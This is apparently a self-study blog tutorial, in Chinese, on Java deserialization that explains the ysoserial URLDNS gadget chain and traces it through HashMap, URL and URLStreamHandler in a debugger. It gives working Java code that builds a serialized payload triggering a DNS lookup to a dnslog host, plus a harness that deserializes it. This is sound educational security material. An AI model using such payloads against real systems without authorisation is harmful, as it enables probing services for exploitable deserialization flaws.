Java代码审计:Java反序列化入门之URLDNS链

0x00 前言

自学Java 代码审计,主要自己一个人学习,有点闭门造车,搜索引擎学习法,但是还是记录一下,也分享一下,也便于将来的总结和反思,如果我能终能学到什么,我也会重新梳理思路,为那些自学者提供一个好的思路,所以有了下面的系列文章java代码审计自学篇。

之前研究了,但是没有整理好,因为有hvv任务,所以推迟了一些,现在赶紧整理发出来。

0x01 Java反序列化介绍

Java反序列化漏洞的产生原因:

简单的说就是,在于开发者在重写 readObject 方法的时候,写入了漏洞代码。

序列化和反序列化本身并不存在问题

但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

0x02 反序列化方法的对比

在接触Java反序列化之前,就是PHP了,PHP的反序列化和着还是有区别的

  • 他们最基本的原理是类似的,反复横跳,找到一个利用链。

  • 都是用于数据存储的一个格式化的操作。

  • 将一个对象中的属性按照某种特定的格式生成一段数据流,在反序列化的时候再按照这个格式将属性拿回来,还原成对象。

  • 而Java其提供了更加高级的writeObject ,允许在序列化流中插入一些自定义数据,进而在反序列化的时候能够使用 readObject 进行读

0x021 PHP反序列化

  • 我们熟悉的都是那些魔术方法,去触发魔术方法,构造pop链。
  • wakeup 魔术方法的目的就是在序列化、反序列化的前后执行一些操作。
  • PHP的序列化、反序列化是低层过程,PHP的序列化是开发者是不能操作的。
  • 开发者调用 serialize 函数后,序列化的数据就已经完成。
  • 魔术方法只是在序列化前后对这个对象的操作。

0x022 JAVA反序列化

  • Java在序列化时一个对象,就不一样了,Java是在序列化的中间,去触发一下利用链,而不是php在序列化完成后
  • Java在序列化时,将会调用这个对象中的 writeObject 方法
  • 反序列化时,会调用readObject
  • writeObject和readObject 方法开发者多种情况都是自己会重写,造成一些问题,构造触发链。

0x03 ysoserial 介绍

  • 15年的Apache Commons Collections 反序列化远程命令执行漏洞 (ysoserial 的最早的 commit )

  • 同时无数 Java 应用系统各种rce疯狂爆出

  • 反序列化漏洞利⽤⼀个⾥程碑式的⼯具,ysoserial。

  • 最开始我都以为,这是一个特定的利用工具,后来发现,为啥好多漏洞都用这个,才知道这是一个通用的工具。

  • ysoserial集合了各种java反序列化payload,它可以⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏命令。

0x04 URLDNS 原理

这个是ysoserial中最简单的一条利用链了,也常常作为检测反序列化的功能,URLDNS这个pop链的大概的工作原理:

1、 java.util.HashMap重写了readObject方法:

​ 在反序列化时会调用 hash 函数计算 key 的 hashCode

2、java.net.URL对象的 hashCode 在计算时会调用 getHostAddress 方法

3、getHostAddress方法从而解析域名发出 DNS 请求

0x05 构建漏洞代码

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

ysoserial生成的代码,原理是一样的,下面是参考原理改写的一段,自己调试学习

反序列化的第一步,你得接受对象,然后反序列化吧

那么我们采用本地写一个序列号数据测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;


public class URLDNS {
public static void main(String[] args) throws Exception {

//漏洞出发点 hashmap,实例化出来
HashMap<URL, String> hashMap = new HashMap<URL, String>();

//URL对象传入自己测试的dnslog
URL url = new URL("http://40zkzk.dnslog.cn");

//反射获取 URL的hashcode方法
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");

//使用内部方法
f.setAccessible(true);

// put 一个值的时候就不会去查询 DNS,避免和刚刚混淆
f.set(url, 0xdeadbeef);
hashMap.put(url, "zeo");

// hashCode 这个属性放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode
f.set(url, -1);

//序列化成对象,输出出来
ObjectOutputStream objos = new ObjectOutputStream(new FileOutputStream("./out.bin"));
objos.writeObject(hashMap);
}
}

随后,开始反序列化,触发漏洞

1
2
3
4
5
6
7
8
9
10
11
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class test {
public static void main(String[] args) throws Exception {
//读取目标
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./out.bin"));
//反序列化
ois.readObject();
}
}

触发

先运行第一个,生产序列化数据

再运行第二个,反序列化触发漏洞

最后收到dnslog

注意:每次换DNSLOG的时候,都有重新生产序列化数据

0x06 代码分析

先看一下利用连,熟悉一下路径

1
2
3
4
5
HashMap->readObject() 反序列化点触发
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress() 发出解析请求

梦开始的地方是HashMap 类

我们前⾯说了,触发反序列化的⽅法是 readObject

找到HashMap 类的 readObject ⽅法

image-20200818143811433

触发点在 1413行的

1
putVal(hash(key), key, value, false, false);

然后就是,其中的第一个参数 hash(key) 方法

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里就是换对象了,这里的key肯定不是null,那么就会触发 key.hashCode()

这里使⽤的这个key是⼀个 java.net.URL 对象,我们看看其 hashCode ⽅法。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-b3LQziqw-1597834189373)(/Users/zy/Library/Application Support/typora-user-images/image-20200813212359358.png)]

URL对象再次跟入 继续跟进其 hashCode ⽅法

359行 getHostAddress 方法传入了 DNSLOG地址

image-20200813212512006

再跟入,其实就是442行,直接一句发出请求了

image-20200818144851112

现在运行前

image-20200813212629442

这剧请求了URL,发出了请求

image-20200813212706551

收到DNS请求,成功触发URLDNS整个功能

image-20200818135305115

0x07 坑点:

新手第一次调试,总找不到触发点,还以为不在这,尤其是这个地方

image-20200818145534883

这里有好几个对象, 要循环好几次,所以要找到 URL对象,再步入参数的hash函数

image-20200818145851784

0x07 参考

https://xz.aliyun.com/t/7157#toc-0